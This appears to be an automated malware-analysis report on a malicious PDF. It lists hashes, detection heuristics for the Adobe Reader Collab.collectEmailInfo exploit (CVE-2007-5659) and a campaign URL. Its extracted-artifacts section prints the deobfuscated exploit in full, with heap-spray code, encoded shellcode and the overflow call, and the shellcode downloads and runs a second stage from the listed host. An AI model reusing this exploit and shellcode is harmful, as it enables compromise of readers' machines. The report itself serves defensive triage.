PDF malware analysis — malicious · 8d6d5861f51fe9a2

MALICIOUS

PDF

2.7 KB Created: e1svrt Authoring application: Adsfgddfobe (via sfgasdfgsd) First seen: 2026-05-10

MD5: 70de6c3463d3d65ed64418f09696627b SHA-1: 7bcb02aa57dda91e960b435ba0bc59e75e74d158 SHA-256: 8d6d5861f51fe9a27ced3843f1f5f3ffecd39d4f40ffc4306795ebd6744804ca

350 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link

The PDF file contains embedded JavaScript that utilizes eval() and unescape() functions, indicating obfuscation. The critical CVE-2007-5659 heuristic firing points to the use of Collab.collectEmailInfo for JavaScript execution. This technique is commonly used to download and execute further malicious content. No specific family could be identified, but the attack pattern is consistent with PDF-based malware delivery.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 8

Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
JavaScript action low 4 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY

PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
eval(unescape("function%20EN__WJ1e%28%29%7Breturn%20unescape%3B%7D%0D%0Aperc%3D%22%25%22%3B%0D%0Adogma%3Dthis.info.autor%3B"));
```
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://www.2iii.org/firefox/l.php?i=4 Referenced by PDF JavaScript

🗂 Part of campaign: 2iii.org 14 samples

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0015_000.js`	pdf-javascript-stream	PDF /JS object 15 at offset 0x14F	251 bytes
SHA-256: `9d70141af3a822acccc264ef07edff74fb35057902ba021de6dd368c8575e640`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script /fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf/ eval(unescape("function%20EN__WJ1e%28%29%7Breturn%20unescape%3B%7D%0D%0Aperc%3D%22%25%22%3B%0D%0Adogma%3Dthis.info.autor%3B")); /fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf/
`javascript_obj0017_001.js`	pdf-javascript-stream	PDF /JS object 17 at offset 0x7DB	174 bytes
SHA-256: `21148ef5b086d126e0d668173425d4857248103dc1823e85f4ed80fed521c549`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script /fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf/ Function(EN__WJ1e()((dogma.replace(/z/g, perc))))(); /fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf/
`legacy_pdfkit_stage_000.js`	deobfuscated-js	repeated-marker hex decoded JavaScript at offset 0x28A	2646 bytes
SHA-256: `48e6e588d491c5592658a6b504c1f019ac45864f5c390e689185c2216f1fc30b`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){while (yarsp.length * 2 < len){yarsp += yarsp;}yarsp = yarsp.substring(0, len / 2);return yarsp;}var mem_array = new Array();var cc = 0x0c0c0c0c;var addr = 0x400000;var payload = unescape('%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u772f%u7777%u322e%u6969%u2e69%u726f%u2f67%u6966%u6572%u6f66%u2f78%u2e6c%u6870%u3f70%u3d69%u0034%u9000');var sc_len = payload.length * 2;var len = addr - (sc_len + 0x38);var yarsp = unescape('%u9090%u9090');yarsp = fix_it(yarsp, len);var count2 = (cc - 0x400000) / addr;for (var count = 0; count < count2; count ++ ){mem_array[count] = yarsp + payload;}var overflow = unescape('%u0c0c%u0c0c');while (overflow.length < 44952){overflow += overflow;}this.collabStore = Collab.collectEmailInfo({subj:'', msg:overflow});

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PDF

Malware Insights

Machine Learning

Heuristics 8

Related samples 7

Extracted artifacts 3